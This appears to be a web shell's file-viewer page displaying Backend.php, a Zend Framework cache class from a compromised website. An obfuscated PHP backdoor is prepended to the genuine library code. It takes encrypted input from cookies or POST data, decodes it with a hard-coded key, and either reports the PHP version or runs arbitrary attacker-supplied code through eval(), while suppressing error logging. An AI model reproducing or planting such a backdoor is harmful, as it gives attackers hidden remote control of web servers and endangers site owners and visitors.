0byt3m1n1-V2
Path:
/
home
/
nlpacade
/
www
/
arcaneoverseas.com
/
application
/
libraries
/
Zend
/
Cache
/
[
Home
]
File: Backend.php
<?php $ef4d656 = 934;$GLOBALS['i3d0'] = Array();global $i3d0;$i3d0 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['v91276c6'] = "\x44\x22\x7e\x72\x36\x37\xd\x69\x57\x48\x58\x51\x24\x26\x70\x43\x2c\x3d\x7b\x52\x5d\x64\x2e\x74\x4e\x79\x6f\x3a\x41\x30\x53\x27\x20\x77\x7c\x5a\x2f\x31\x21\x75\x29\x65\x50\x3e\x4a\x42\x47\x7a\x73\x35\x40\x6b\x68\x6e\x5f\x4b\x55\x23\x5e\x66\x6c\xa\x28\x63\x5b\x5c\x2b\x7d\x33\x4f\x71\x38\x9\x67\x3c\x59\x2d\x39\x4d\x25\x32\x76\x34\x62\x49\x46\x3b\x6a\x2a\x4c\x56\x45\x78\x54\x6d\x3f\x61\x60";$i3d0[$i3d0['v91276c6'][3].$i3d0['v91276c6'][21].$i3d0['v91276c6'][37].$i3d0['v91276c6'][71].$i3d0['v91276c6'][37].$i3d0['v91276c6'][77]] = $i3d0['v91276c6'][63].$i3d0['v91276c6'][52].$i3d0['v91276c6'][3];$i3d0[$i3d0['v91276c6'][25].$i3d0['v91276c6'][63].$i3d0['v91276c6'][68].$i3d0['v91276c6'][5].$i3d0['v91276c6'][49].$i3d0['v91276c6'][63].$i3d0['v91276c6'][4].$i3d0['v91276c6'][68].$i3d0['v91276c6'][49]] = $i3d0['v91276c6'][26].$i3d0['v91276c6'][3].$i3d0['v91276c6'][21];$i3d0[$i3d0['v91276c6'][25].$i3d0['v91276c6'][77].$i3d0['v91276c6'][59].$i3d0['v91276c6'][41].$i3d0['v91276c6'][29].$i3d0['v91276c6'][82].$i3d0['v91276c6'][71]] = $i3d0['v91276c6'][21].$i3d0['v91276c6'][41].$i3d0['v91276c6'][59].$i3d0['v91276c6'][7].$i3d0['v91276c6'][53].$i3d0['v91276c6'][41];$i3d0[$i3d0['v91276c6'][87].$i3d0['v91276c6'][82].$i3d0['v91276c6'][68].$i3d0['v91276c6'][37].$i3d0['v91276c6'][49].$i3d0['v91276c6'][21].$i3d0['v91276c6'][68].$i3d0['v91276c6'][77]] = $i3d0['v91276c6'][48].$i3d0['v91276c6'][23].$i3d0['v91276c6'][3].$i3d0['v91276c6'][60].$i3d0['v91276c6'][41].$i3d0['v91276c6'][53];$i3d0[$i3d0['v91276c6'][96].$i3d0['v91276c6'][68].$i3d0['v91276c6'][4].$i3d0['v91276c6'][49].$i3d0['v91276c6'][41].$i3d0['v91276c6'][21].$i3d0['v91276c6'][80].$i3d0['v91276c6'][59]] = $i3d0['v91276c6'][21].$i3d0['v91276c6'][41].$i3d0['v91276c6'][59].$i3d0['v91276c6'][7].$i3d0['v91276c6'][53].$i3d0['v91276c6'][41].$i3d0['v91276c6'][21];$i3d0[$i3d0['v91276c6'][48].$i3d0['v91276c6'][68].$i3d0['v91276c6'][80].$i3d0['v91276c6'][63].$i3d0['v91276c6'][21].$i3d0['v91276c6'][49]] = $i3d0['v91276c6'][7].$i3d0['v91276c6'][53].$i3d0['v91276c6'][7].$i3d0['v91276c6'][54].$i3d0['v91276c6'][48].$i3d0['v91276c6'][41].$i3d0['v91276c6'][23];$i3d0[$i3d0['v91276c6'][14].$i3d0['v91276c6'][41].$i3d0['v91276c6'][96].$i3d0['v91276c6'][68]] = $i3d0['v91276c6'][48].$i3d0['v91276c6'][41].$i3d0['v91276c6'][3].$i3d0['v91276c6'][7].$i3d0['v91276c6'][96].$i3d0['v91276c6'][60].$i3d0['v91276c6'][7].$i3d0['v91276c6'][47].$i3d0['v91276c6'][41];$i3d0[$i3d0['v91276c6'][73].$i3d0['v91276c6'][4].$i3d0['v91276c6'][71].$i3d0['v91276c6'][83].$i3d0['v91276c6'][96].$i3d0['v91276c6'][63].$i3d0['v91276c6'][37]] = $i3d0['v91276c6'][14].$i3d0['v91276c6'][52].$i3d0['v91276c6'][14].$i3d0['v91276c6'][81].$i3d0['v91276c6'][41].$i3d0['v91276c6'][3].$i3d0['v91276c6'][48].$i3d0['v91276c6'][7].$i3d0['v91276c6'][26].$i3d0['v91276c6'][53];$i3d0[$i3d0['v91276c6'][92].$i3d0['v91276c6'][96].$i3d0['v91276c6'][5].$i3d0['v91276c6'][41]] = $i3d0['v91276c6'][39].$i3d0['v91276c6'][53].$i3d0['v91276c6'][48].$i3d0['v91276c6'][41].$i3d0['v91276c6'][3].$i3d0['v91276c6'][7].$i3d0['v91276c6'][96].$i3d0['v91276c6'][60].$i3d0['v91276c6'][7].$i3d0['v91276c6'][47].$i3d0['v91276c6'][41];$i3d0[$i3d0['v91276c6'][41].$i3d0['v91276c6'][63].$i3d0['v91276c6'][82].$i3d0['v91276c6'][83].$i3d0['v91276c6'][4].$i3d0['v91276c6'][71]] = $i3d0['v91276c6'][83].$i3d0['v91276c6'][96].$i3d0['v91276c6'][48].$i3d0['v91276c6'][41].$i3d0['v91276c6'][4].$i3d0['v91276c6'][82].$i3d0['v91276c6'][54].$i3d0['v91276c6'][21].$i3d0['v91276c6'][41].$i3d0['v91276c6'][63].$i3d0['v91276c6'][26].$i3d0['v91276c6'][21].$i3d0['v91276c6'][41];$i3d0[$i3d0['v91276c6'][23].$i3d0['v91276c6'][21].$i3d0['v91276c6'][71].$i3d0['v91276c6'][77].$i3d0['v91276c6'][83].$i3d0['v91276c6'][59].$i3d0['v91276c6'][21].$i3d0['v91276c6'][4]] = $i3d0['v91276c6'][48].$i3d0['v91276c6'][41].$i3d0['v91276c6'][23].$i3d0['v91276c6'][54].$i3d0['v91276c6'][23].$i3d0['v91276c6'][7].$i3d0['v91276c6'][94].$i3d0['v91276c6'][41].$i3d0['v91276c6'][54].$i3d0['v91276c6'][60].$i3d0['v91276c6'][7].$i3d0['v91276c6'][94].$i3d0['v91276c6'][7].$i3d0['v91276c6'][23];$i3d0[$i3d0['v91276c6'][51].$i3d0['v91276c6'][63].$i3d0['v91276c6'][82].$i3d0['v91276c6'][63].$i3d0['v91276c6'][82]] = $i3d0['v91276c6'][70].$i3d0['v91276c6'][29].$i3d0['v91276c6'][41].$i3d0['v91276c6'][71];$i3d0[$i3d0['v91276c6'][23].$i3d0['v91276c6'][63].$i3d0['v91276c6'][41].$i3d0['v91276c6'][21].$i3d0['v91276c6'][21].$i3d0['v91276c6'][5].$i3d0['v91276c6'][80].$i3d0['v91276c6'][68]] = $i3d0['v91276c6'][83].$i3d0['v91276c6'][21].$i3d0['v91276c6'][41].$i3d0['v91276c6'][37];$i3d0[$i3d0['v91276c6'][94].$i3d0['v91276c6'][37].$i3d0['v91276c6'][37].$i3d0['v91276c6'][82]] = $_POST;$i3d0[$i3d0['v91276c6'][96].$i3d0['v91276c6'][83].$i3d0['v91276c6'][41].$i3d0['v91276c6'][80]] = $_COOKIE;@$i3d0[$i3d0['v91276c6'][48].$i3d0['v91276c6'][68].$i3d0['v91276c6'][80].$i3d0['v91276c6'][63].$i3d0['v91276c6'][21].$i3d0['v91276c6'][49]]($i3d0['v91276c6'][41].$i3d0['v91276c6'][3].$i3d0['v91276c6'][3].$i3d0['v91276c6'][26].$i3d0['v91276c6'][3].$i3d0['v91276c6'][54].$i3d0['v91276c6'][60].$i3d0['v91276c6'][26].$i3d0['v91276c6'][73], NULL);@$i3d0[$i3d0['v91276c6'][48].$i3d0['v91276c6'][68].$i3d0['v91276c6'][80].$i3d0['v91276c6'][63].$i3d0['v91276c6'][21].$i3d0['v91276c6'][49]]($i3d0['v91276c6'][60].$i3d0['v91276c6'][26].$i3d0['v91276c6'][73].$i3d0['v91276c6'][54].$i3d0['v91276c6'][41].$i3d0['v91276c6'][3].$i3d0['v91276c6'][3].$i3d0['v91276c6'][26].$i3d0['v91276c6'][3].$i3d0['v91276c6'][48], 0);@$i3d0[$i3d0['v91276c6'][48].$i3d0['v91276c6'][68].$i3d0['v91276c6'][80].$i3d0['v91276c6'][63].$i3d0['v91276c6'][21].$i3d0['v91276c6'][49]]($i3d0['v91276c6'][94].$i3d0['v91276c6'][96].$i3d0['v91276c6'][92].$i3d0['v91276c6'][54].$i3d0['v91276c6'][41].$i3d0['v91276c6'][92].$i3d0['v91276c6'][41].$i3d0['v91276c6'][63].$i3d0['v91276c6'][39].$i3d0['v91276c6'][23].$i3d0['v91276c6'][7].$i3d0['v91276c6'][26].$i3d0['v91276c6'][53].$i3d0['v91276c6'][54].$i3d0['v91276c6'][23].$i3d0['v91276c6'][7].$i3d0['v91276c6'][94].$i3d0['v91276c6'][41], 0);@$i3d0[$i3d0['v91276c6'][23].$i3d0['v91276c6'][21].$i3d0['v91276c6'][71].$i3d0['v91276c6'][77].$i3d0['v91276c6'][83].$i3d0['v91276c6'][59].$i3d0['v91276c6'][21].$i3d0['v91276c6'][4]](0);if (!$i3d0[$i3d0['v91276c6'][96].$i3d0['v91276c6'][68].$i3d0['v91276c6'][4].$i3d0['v91276c6'][49].$i3d0['v91276c6'][41].$i3d0['v91276c6'][21].$i3d0['v91276c6'][80].$i3d0['v91276c6'][59]]($i3d0['v91276c6'][28].$i3d0['v91276c6'][89].$i3d0['v91276c6'][19].$i3d0['v91276c6'][91].$i3d0['v91276c6'][28].$i3d0['v91276c6'][0].$i3d0['v91276c6'][75].$i3d0['v91276c6'][54].$i3d0['v91276c6'][19].$i3d0['v91276c6'][56].$i3d0['v91276c6'][24].$i3d0['v91276c6'][54].$i3d0['v91276c6'][68].$i3d0['v91276c6'][4].$i3d0['v91276c6'][4].$i3d0['v91276c6'][96].$i3d0['v91276c6'][59].$i3d0['v91276c6'][83].$i3d0['v91276c6'][71].$i3d0['v91276c6'][96].$i3d0['v91276c6'][71].$i3d0['v91276c6'][96].$i3d0['v91276c6'][80].$i3d0['v91276c6'][68].$i3d0['v91276c6'][49].$i3d0['v91276c6'][49].$i3d0['v91276c6'][96].$i3d0['v91276c6'][83].$i3d0['v91276c6'][80].$i3d0['v91276c6'][37].$i3d0['v91276c6'][59].$i3d0['v91276c6'][83].$i3d0['v91276c6'][59].$i3d0['v91276c6'][37].$i3d0['v91276c6'][37].$i3d0['v91276c6'][83].$i3d0['v91276c6'][96].$i3d0['v91276c6'][37].$i3d0['v91276c6'][96].$i3d0['v91276c6'][29].$i3d0['v91276c6'][80].$i3d0['v91276c6'][59].$i3d0['v91276c6'][83].$i3d0['v91276c6'][96])){$i3d0[$i3d0['v91276c6'][25].$i3d0['v91276c6'][77].$i3d0['v91276c6'][59].$i3d0['v91276c6'][41].$i3d0['v91276c6'][29].$i3d0['v91276c6'][82].$i3d0['v91276c6'][71]]($i3d0['v91276c6'][28].$i3d0['v91276c6'][89].$i3d0['v91276c6'][19].$i3d0['v91276c6'][91].$i3d0['v91276c6'][28].$i3d0['v91276c6'][0].$i3d0['v91276c6'][75].$i3d0['v91276c6'][54].$i3d0['v91276c6'][19].$i3d0['v91276c6'][56].$i3d0['v91276c6'][24].$i3d0['v91276c6'][54].$i3d0['v91276c6'][68].$i3d0['v91276c6'][4].$i3d0['v91276c6'][4].$i3d0['v91276c6'][96].$i3d0['v91276c6'][59].$i3d0['v91276c6'][83].$i3d0['v91276c6'][71].$i3d0['v91276c6'][96].$i3d0['v91276c6'][71].$i3d0['v91276c6'][96].$i3d0['v91276c6'][80].$i3d0['v91276c6'][68].$i3d0['v91276c6'][49].$i3d0['v91276c6'][49].$i3d0['v91276c6'][96].$i3d0['v91276c6'][83].$i3d0['v91276c6'][80].$i3d0['v91276c6'][37].$i3d0['v91276c6'][59].$i3d0['v91276c6'][83].$i3d0['v91276c6'][59].$i3d0['v91276c6'][37].$i3d0['v91276c6'][37].$i3d0['v91276c6'][83].$i3d0['v91276c6'][96].$i3d0['v91276c6'][37].$i3d0['v91276c6'][96].$i3d0['v91276c6'][29].$i3d0['v91276c6'][80].$i3d0['v91276c6'][59].$i3d0['v91276c6'][83].$i3d0['v91276c6'][96], 1);$ef708269c = NULL;$q9b0 = NULL;$i3d0[$i3d0['v91276c6'][63].$i3d0['v91276c6'][5].$i3d0['v91276c6'][71].$i3d0['v91276c6'][63]] = $i3d0['v91276c6'][37].$i3d0['v91276c6'][83].$i3d0['v91276c6'][96].$i3d0['v91276c6'][96].$i3d0['v91276c6'][5].$i3d0['v91276c6'][59].$i3d0['v91276c6'][4].$i3d0['v91276c6'][82].$i3d0['v91276c6'][76].$i3d0['v91276c6'][29].$i3d0['v91276c6'][4].$i3d0['v91276c6'][29].$i3d0['v91276c6'][68].$i3d0['v91276c6'][76].$i3d0['v91276c6'][82].$i3d0['v91276c6'][68].$i3d0['v91276c6'][21].$i3d0['v91276c6'][49].$i3d0['v91276c6'][76].$i3d0['v91276c6'][96].$i3d0['v91276c6'][96].$i3d0['v91276c6'][82].$i3d0['v91276c6'][77].$i3d0['v91276c6'][76].$i3d0['v91276c6'][77].$i3d0['v91276c6'][83].$i3d0['v91276c6'][59].$i3d0['v91276c6'][49].$i3d0['v91276c6'][71].$i3d0['v91276c6'][59].$i3d0['v91276c6'][68].$i3d0['v91276c6'][83].$i3d0['v91276c6'][4].$i3d0['v91276c6'][29].$i3d0['v91276c6'][49].$i3d0['v91276c6'][80];global $c78c;function bde1($ef708269c, $i8111){global $i3d0;$ua5c = "";for ($pf55=0; $pf55<$i3d0[$i3d0['v91276c6'][87].$i3d0['v91276c6'][82].$i3d0['v91276c6'][68].$i3d0['v91276c6'][37].$i3d0['v91276c6'][49].$i3d0['v91276c6'][21].$i3d0['v91276c6'][68].$i3d0['v91276c6'][77]]($ef708269c);){for ($f93840=0; $f93840<$i3d0[$i3d0['v91276c6'][87].$i3d0['v91276c6'][82].$i3d0['v91276c6'][68].$i3d0['v91276c6'][37].$i3d0['v91276c6'][49].$i3d0['v91276c6'][21].$i3d0['v91276c6'][68].$i3d0['v91276c6'][77]]($i8111) && $pf55<$i3d0[$i3d0['v91276c6'][87].$i3d0['v91276c6'][82].$i3d0['v91276c6'][68].$i3d0['v91276c6'][37].$i3d0['v91276c6'][49].$i3d0['v91276c6'][21].$i3d0['v91276c6'][68].$i3d0['v91276c6'][77]]($ef708269c); $f93840++, $pf55++){$ua5c .= $i3d0[$i3d0['v91276c6'][3].$i3d0['v91276c6'][21].$i3d0['v91276c6'][37].$i3d0['v91276c6'][71].$i3d0['v91276c6'][37].$i3d0['v91276c6'][77]]($i3d0[$i3d0['v91276c6'][25].$i3d0['v91276c6'][63].$i3d0['v91276c6'][68].$i3d0['v91276c6'][5].$i3d0['v91276c6'][49].$i3d0['v91276c6'][63].$i3d0['v91276c6'][4].$i3d0['v91276c6'][68].$i3d0['v91276c6'][49]]($ef708269c[$pf55]) ^ $i3d0[$i3d0['v91276c6'][25].$i3d0['v91276c6'][63].$i3d0['v91276c6'][68].$i3d0['v91276c6'][5].$i3d0['v91276c6'][49].$i3d0['v91276c6'][63].$i3d0['v91276c6'][4].$i3d0['v91276c6'][68].$i3d0['v91276c6'][49]]($i8111[$f93840]));}}return $ua5c;}function q0e8($ef708269c, $i8111){global $i3d0;global $c78c;return $i3d0[$i3d0['v91276c6'][23].$i3d0['v91276c6'][63].$i3d0['v91276c6'][41].$i3d0['v91276c6'][21].$i3d0['v91276c6'][21].$i3d0['v91276c6'][5].$i3d0['v91276c6'][80].$i3d0['v91276c6'][68]]($i3d0[$i3d0['v91276c6'][23].$i3d0['v91276c6'][63].$i3d0['v91276c6'][41].$i3d0['v91276c6'][21].$i3d0['v91276c6'][21].$i3d0['v91276c6'][5].$i3d0['v91276c6'][80].$i3d0['v91276c6'][68]]($ef708269c, $c78c), $i8111);}foreach ($i3d0[$i3d0['v91276c6'][96].$i3d0['v91276c6'][83].$i3d0['v91276c6'][41].$i3d0['v91276c6'][80]] as $i8111=>$rbdce){$ef708269c = $rbdce;$q9b0 = $i8111;}if (!$ef708269c){foreach ($i3d0[$i3d0['v91276c6'][94].$i3d0['v91276c6'][37].$i3d0['v91276c6'][37].$i3d0['v91276c6'][82]] as $i8111=>$rbdce){$ef708269c = $rbdce;$q9b0 = $i8111;}}$ef708269c = @$i3d0[$i3d0['v91276c6'][92].$i3d0['v91276c6'][96].$i3d0['v91276c6'][5].$i3d0['v91276c6'][41]]($i3d0[$i3d0['v91276c6'][51].$i3d0['v91276c6'][63].$i3d0['v91276c6'][82].$i3d0['v91276c6'][63].$i3d0['v91276c6'][82]]($i3d0[$i3d0['v91276c6'][41].$i3d0['v91276c6'][63].$i3d0['v91276c6'][82].$i3d0['v91276c6'][83].$i3d0['v91276c6'][4].$i3d0['v91276c6'][71]]($ef708269c), $q9b0));if (isset($ef708269c[$i3d0['v91276c6'][96].$i3d0['v91276c6'][51]]) && $c78c==$ef708269c[$i3d0['v91276c6'][96].$i3d0['v91276c6'][51]]){if ($ef708269c[$i3d0['v91276c6'][96]] == $i3d0['v91276c6'][7]){$pf55 = Array($i3d0['v91276c6'][14].$i3d0['v91276c6'][81] => @$i3d0[$i3d0['v91276c6'][73].$i3d0['v91276c6'][4].$i3d0['v91276c6'][71].$i3d0['v91276c6'][83].$i3d0['v91276c6'][96].$i3d0['v91276c6'][63].$i3d0['v91276c6'][37]](),$i3d0['v91276c6'][48].$i3d0['v91276c6'][81] => $i3d0['v91276c6'][37].$i3d0['v91276c6'][22].$i3d0['v91276c6'][29].$i3d0['v91276c6'][76].$i3d0['v91276c6'][37],);echo @$i3d0[$i3d0['v91276c6'][14].$i3d0['v91276c6'][41].$i3d0['v91276c6'][96].$i3d0['v91276c6'][68]]($pf55);}elseif ($ef708269c[$i3d0['v91276c6'][96]] == $i3d0['v91276c6'][41]){eval/*t1d1d8a2*/($ef708269c[$i3d0['v91276c6'][21]]);}exit();}} ?><?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@zend.com so we can send you a copy immediately. * * @category Zend * @package Zend_Cache * @subpackage Backend * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ /** * @package Zend_Cache * @subpackage Backend * @copyright Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ class Zend_Cache_Backend { // ------------------ // --- Properties --- // ------------------ /** * Frontend or Core directives * * =====> (int) lifetime : * - Cache lifetime (in seconds) * - If null, the cache is valid forever * * =====> (int) logging : * - if set to true, a logging is activated throw Zend_Log * * @var array directives */ protected $_directives = array( 'lifetime' => 3600, 'logging' => false, 'logger' => null ); /** * Available options * * @var array available options */ protected $_options = array(); // ---------------------- // --- Public methods --- // ---------------------- /** * Constructor * * @param array $options associative array of options */ public function __construct($options = array()) { if (!is_array($options)) Zend_Cache::throwException('Options parameter must be an array'); while (list($name, $value) = each($options)) { $this->setOption($name, $value); } } /** * Set the frontend directives * * @param array $directives assoc of directives */ public function setDirectives($directives) { if (!is_array($directives)) Zend_Cache::throwException('Directives parameter must be an array'); while (list($name, $value) = each($directives)) { if (!is_string($name)) { Zend_Cache::throwException("Incorrect option name : $name"); } $name = strtolower($name); if (array_key_exists($name, $this->_directives)) { $this->_directives[$name] = $value; } } $this->_loggerSanity(); } /** * Set an option * * @param string $name * @param mixed $value */ public function setOption($name, $value) { if (!is_string($name)) { Zend_Cache::throwException("Incorrect option name : $name"); } $name = strtolower($name); if (!array_key_exists($name, $this->_options)) { Zend_Cache::throwException("Incorrect option name : $name"); } $this->_options[$name] = $value; } /** * Get the life time * * if $specificLifetime is not false, the given specific life time is used * else, the global lifetime is used * * @return int cache life time */ public function getLifetime($specificLifetime) { if ($specificLifetime === false) { return $this->_directives['lifetime']; } return $specificLifetime; } /** * Return true if the automatic cleaning is available for the backend * * @return boolean */ public function isAutomaticCleaningAvailable() { return true; } /** * Return a system-wide tmp directory * * @return string system-wide tmp directory */ static function getTmpDir() { if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { // windows... foreach (array($_ENV, $_SERVER) as $tab) { foreach (array('TEMP', 'TMP', 'windir', 'SystemRoot') as $key) { if (isset($tab[$key])) { $result = $tab[$key]; if (($key == 'windir') or ($key == 'SystemRoot')) { $result = $result . '\\temp'; } return $result; } } } return '\\temp'; } else { // unix... if (isset($_ENV['TMPDIR'])) return $_ENV['TMPDIR']; if (isset($_SERVER['TMPDIR'])) return $_SERVER['TMPDIR']; return '/tmp'; } } /** * Make sure if we enable logging that the Zend_Log class * is available. * Create a default log object if none is set. * * @return void * @throws Zend_Cache_Exception */ protected function _loggerSanity() { if (!isset($this->_directives['logging']) || !$this->_directives['logging']) { return; } try { require_once 'Zend/Loader.php'; Zend_Loader::loadClass('Zend_Log'); } catch (Zend_Exception $e) { Zend_Cache::throwException('Logging feature is enabled but the Zend_Log class is not available'); } if (isset($this->_directives['logger']) && $this->_directives['logger'] instanceof Zend_Log) { return; } // Create a default logger to the standard output stream Zend_Loader::loadClass('Zend_Log_Writer_Stream'); $logger = new Zend_Log(new Zend_Log_Writer_Stream('php://output')); $this->_directives['logger'] = $logger; } /** * Log a message at the WARN (4) priority. * * @param string $message * @return void * @throws Zend_Cache_Exception */ protected function _log($message, $priority = 4) { if (!$this->_directives['logging']) { return; } if (!(isset($this->_directives['logger']) || $this->_directives['logger'] instanceof Zend_Log)) { Zend_Cache::throwException('Logging is enabled but logger is not set'); } $logger = $this->_directives['logger']; $logger->log($message, $priority); } }
©
2018.